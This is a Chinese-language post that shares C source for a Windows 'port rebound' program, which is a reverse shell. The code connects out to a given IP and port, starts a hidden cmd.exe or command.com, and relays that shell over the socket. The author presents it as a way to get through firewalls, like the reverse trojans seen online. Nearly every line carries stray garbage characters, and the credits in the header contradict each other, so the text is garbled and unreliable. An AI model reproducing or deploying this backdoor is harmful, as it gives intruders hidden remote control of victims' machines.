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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]Zk}ZG>6  
~ aA;<#  
/* ============================== =ajLa/m'  
Rebound port in Windows NT "&<~UiI  
By wind,2006/7 &(7$&Q  
===============================*/ 0qR$J  
#include 59Nd}wPO;  
#include a'A s  
4DM*^=9E  
#pragma comment(lib,"wsock32.lib") OpUA{P  
1$(  
void OutputShell(); JqSr[q  
SOCKET sClient; 0 u2Ny&6w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +A\V)  
Wn~ZA#  
void main(int argc,char **argv) _Jy,yMQ^[_  
{ #R<G,"N5  
WSADATA stWsaData; b5S7{"<V  
int nRet; Q.E_:=*H  
SOCKADDR_IN stSaiClient,stSaiServer; t)'dF*L  
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if(argc != 3) &?r*p0MQC  
{ p&O8qAaO  
printf("Useage:\n\rRebound DestIP DestPort\n"); L#!$hq9{_  
return; ~j]dct7  
} rKT)!o'  
> Y ] _K  
WSAStartup(MAKEWORD(2,2),&stWsaData); \HD-vINV;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gmDR{loX  
h1c{?xH2r  
stSaiClient.sin_family = AF_INET; Kr]W o8dWy  
stSaiClient.sin_port = htons(0); !t% Q{`p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .l=p[BI  
; h9W\Se  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z{/LX \  
{ tvT4S  
printf("Bind Socket Failed!\n"); B%mtp;) P  
return; `0z/BCNB  
} ^9=4iXd  
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stSaiServer.sin_family = AF_INET; +(y>qd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _Fxe|"<^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O:,=xIXR  
s-%J 5_d f  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xG w?'\  
{ & +]x;K  
printf("Connect Error!"); 0$QIfT)  
return; {lMqcK  
} MX?}?"y  
OutputShell(); 5QOZ%9E&M  
} {(!)P  
Pt(tRHB  
void OutputShell() #// %&k  
{ }7Jp :.qk  
char szBuff[1024]; 5;(0 $4I  
SECURITY_ATTRIBUTES stSecurityAttributes; W }Zb~[,  
OSVERSIONINFO stOsversionInfo; p {?}g'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (V)9s\Le_  
STARTUPINFO stStartupInfo; 7IQqN&J  
char *szShell; # \<P]<C  
PROCESS_INFORMATION stProcessInformation; 0mVuD\#=!  
unsigned long lBytesRead; mt I MW9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o6|"J%9GX  
ng 9NE8F  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PqI![KxZW  
stSecurityAttributes.lpSecurityDescriptor = 0; %z2oDAjX  
stSecurityAttributes.bInheritHandle = TRUE; :l;,m}#@  
6&mWIk^VC  
8yvJ`eL-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0$l&i=L  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &1~Re.* B  
H) cQO?B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F^xaz^=`u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R}hlDJ/m-  
stStartupInfo.wShowWindow = SW_HIDE; Y&:/~&'  
stStartupInfo.hStdInput = hReadPipe; l@#b;M/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K#@K"N =  
r_q~'r35_  
GetVersionEx(&stOsversionInfo); F  "!`X#  
RPY 6Wh| 4  
switch(stOsversionInfo.dwPlatformId) Bd8hJA  
{ sSV^5  
case 1: %; qY  '+  
szShell = "command.com"; pLPd[a  
break; %xHu,*  
default: "raj>2@  
szShell = "cmd.exe"; v=>3"!*  
break; R@&?i=gk  
} }-dF+m:  
Rd0?zEKV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B]i+,u  
"(N-h\7Ex9  
send(sClient,szMsg,77,0); D"'#one  
while(1) Rn8#0%/Q  
{ 7F~xq#Wi#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j~.u>4  
if(lBytesRead) jWhD5k@v  
{ yG4MUf6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F; 0Dp  
send(sClient,szBuff,lBytesRead,0); ^&HI +M  
} X!m;uJZp  
else oR7 7`  
{ $:P[v+Uy  
lBytesRead=recv(sClient,szBuff,1024,0); =O;eY?  
if(lBytesRead<=0) break; >H8^0n)?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |]I#CdO  
} ,d5ia4\K  
} {8_:4`YZ  
S~}$Ly@  
return; fq{I$syY  
}
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